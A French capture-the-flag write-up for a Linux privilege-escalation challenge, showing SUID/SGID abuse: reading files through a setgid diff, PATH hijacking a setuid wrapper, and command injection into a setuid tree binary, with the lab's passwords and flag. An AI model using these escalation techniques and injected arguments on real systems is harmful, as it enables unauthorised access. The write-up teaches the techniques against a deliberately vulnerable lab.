Escabot
WriteUp d’un challenge créé par NozZy, dans la catégorie Système, de difficulté Medium (256 points) lors de la Cybernight 2024.
Le challenge était en 3 parties: Marche Pied, Escabot et Échelle. Il consistait en de multiple escalation de privilège.
Description
Bienvenue à cette introduction à l’escalade de privilèges sur système Linux !
Vous démarrez avec un compte symbolisé par une marche, et devez grimper les marches une par une jusqu’à arriver à la dernière disponible.
Chaque objet d’escalade possède un thème, qui vous sera utile à comprendre afin de grimper les marches ! L’escabot comporte quatre marches : de marche3 à marche6 La dernière marche possède un flag dans ~/flag.txt
Le thème de l’escabot est : Set User/Group ID
User marche3 Password marche3
Write Up
Le titre du challenge semble nous indiquer des problèmes de configuration des permissions sur les setuid/guid.
Un Setuid/Guid est un moyen de partager des permissions entre les utilisateurs d’un système unix.1
Ils permettent de lancer un programme avec les permissions du propriétaire.
Par exemple, le programme passwd (qui permet de modifier son mot de passe) à besoin
des droits de l’utilisateur root
pour fonctionner et peut être
utilisez par des utilisateur normaux.
$ ls -lah /bin/passwd
-rwsr-xr-x. 1 root root 94K 10 oct. 02:00 /bin/passwd
^
|
setuid
Les SUID et GUID : https://fr.linux-console.net/?p=16033 ↩︎
Marche 4
On va chercher les binaires avec un setuid ou un guid avec la commande find :
marche3@fcea696e06ad:~$ find / -type f -perm /4000 2> /dev/null
/home/marche4/showfile
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
marche3@fcea696e06ad:~$ find / -type f -perm /2000 2> /dev/null
/usr/bin/chage
/usr/bin/diff
/usr/bin/expiry
/usr/bin/ssh-agent
/usr/sbin/pam_extrausers_chkpwd
/usr/sbin/unix_chkpwd
Deux fichiers sortent du lot, on va vérifier leurs permissions :
marche3@fcea696e06ad:~$ ls -l /home/marche4/showfile
-r-sr-x---. 1 marche5 marche4 16016 Dec 26 20:36 /home/marche4/showfile
marche3@fcea696e06ad:~$ ls -l /usr/bin/diff
-rwxr-sr-x. 1 root marche4 133680 Mar 23 2022 /usr/bin/diff
Nous ne pouvons pas utiliser showfile car nous ne sommes pas dans le groupe marche4
. Nous pouvons cependant utiliser
diff avec les permissions de marche4
pour afficher les fichiers de marche4.
marche3@4c8ce123a852a32d:/home/marche4$ diff do\ not\ forgor showfile.c
1c1,8
< YoCheckThatPasswordFormarche4
---
> #include <unistd.h>
> #include <stdio.h>
>
> int main(int argc, char** argv, char** envp) {
> char *args[] = {"ls", "-l", "-a", argv[1], NULL};
> execvpe(args[0], args, envp);
> return 0;
> }
Le mot de passe de marche4
est YoCheckThatPasswordFormarche4
.
Marche 5
On nous donne le code de showfile :
#include <unistd.h>
#include <stdio.h>
int main(int argc, char** argv, char** envp) {
char *args[] = {"ls", "-l", "-a", argv[1], NULL};
execvpe(args[0], args, envp);
return 0;
}
Avec showfile on peut voir les fichiers possèdés par marche5
:
marche4@ea46cbd9ca17eb72:~$ ./showfile /home/marche5
total 52
drwxr-x--- 1 marche5 marche5 4096 Nov 7 22:40 .
drwxr-xr-x 1 root root 4096 Nov 7 22:40 ..
-rw-r--r-- 1 marche5 marche5 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 marche5 marche5 3771 Jan 6 2022 .bashrc
-rw-r--r-- 1 marche5 marche5 29 Nov 7 22:40 .password
-rw-r--r-- 1 marche5 marche5 807 Jan 6 2022 .profile
-r-sr-x--x 1 marche6 marche5 16144 Nov 7 22:40 tree
-r-xr----- 1 marche5 marche5 237 Nov 7 22:35 tree.c
On remarque que marche5
possède un programme tree
avec un setuid.
Il peut-être utilisé pour passer de marche5
à marche6.
Showfile n’utilise pas un chemin absolue pour indiquer
la localisation du programme ls
et réutilise les variables d’environement
de l’appelant, dont la variable PATH
.
Dans les systèmes Unix, l’environnement est un ensemble de chaîne de caractère, sous la forme clef=valeur, mis à la disposition des programmes. On appelle ces chaînes de caractère des variables d’environnements. 1
Lorsqu’un processus est créé, il hérite d’une copie de l’environnement de son processus père.
Les variables d’environnement servent à communiquer au programme
des informations dynamiques sur système comme l’utilisateur connecté
(variable USER
), la langue du système (variable LANG
), le répertoire
de connexion d’un utilisateur (variable HOME
), …
Vous pouvez afficher l’environnement avec la commande printenv
:
printenv
SHELL=/bin/bash
HOSTNAME=laptop-matthieu
HISTSIZE=1000
EDITOR=/usr/bin/nano
HOME=/home/mattherix
USER=mattherix
[...]
L’Environnement utilisateur : environ(7) ↩︎
La variable d’environnement PATH
est une liste de préfixes de répertoires
utilisés pour localiser les programmes. Chaque préfixe de chemin est
séparé par des deux-points :
. 1
Par exemple, pour localiser le programme ls
, bash va utiliser la variable
d’environnement PATH
afin de le trouver dans /usr/bin/ls
:
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
whereis ls
ls: /usr/bin/ls /usr/share/man/man1/ls.1.gz
# ls est localisé dans /usr/bin/ls
# Pour le trouvé bash a commencé par tester /usr/local/sbin/ls,
# puis /usr/local/bin/ls, puis /usr/sbin/ls, puis /usr/bin/ls.
L’Environnement utilisateur : environ(7) ↩︎
On crée un programme ls
et modifie la variable d’environnement PATH
afin que notre programme soit exécuter à la place de la commande ls
ln -s /usr/bin/nano ls
export PATH="/home/marche4:$PATH"
./showfile /home/marche5/.password
JeezInsanePasswordFormarche5
ls
doit accepter les paramètres -l
et -a
.
cat
n’est donc pas utilisable.Marche 6
On nous donne le code de tree
:
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv, char** envp) {
setreuid(geteuid(), geteuid());
char command[32] = "/bin/tree ";
strcat(command, argv[1]);
system(command);
return 0;
}
On utilise tree
pour afficher la liste des fichiers de marche6 :
marche5@ea46cbd9ca17eb72:~$ ./tree /home/marche6/
/home/marche6/
|-- flag.txt
`-- myapp
|-- app
|-- config
`-- logs
|-- 2017-06-18T07:56:47
|-- 2017-06-19T08:35:12
`-- 2017-06-22T03:22:44
Contrairement à showfile
, tree n’utilise pas les variables d’environements de
l’appelant. Cependant, il ne vérifie pas correctement l’argument entrée et
on peut faire de l’injection de commande :
./tree "/home/marche6/ && whoami"
Ainsi, on peut afficher le flag :
marche5@ea46cbd9ca17eb72:~$ ./tree "/home/marche6/ && cat /home/marche6/flag.txt"
/home/marche6/
|-- flag.txt
`-- myapp
|-- app
|-- config
`-- logs
|-- 2017-06-18T07:56:47
|-- 2017-06-19T08:35:12
`-- 2017-06-22T03:22:44
2 directories, 6 files
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}
*** stack smashing detected ***: terminated
Aborted (core dumped)
CYBN{sU1d_i5_v3Ry_s3nSIT1ve_B3_c@reFUL}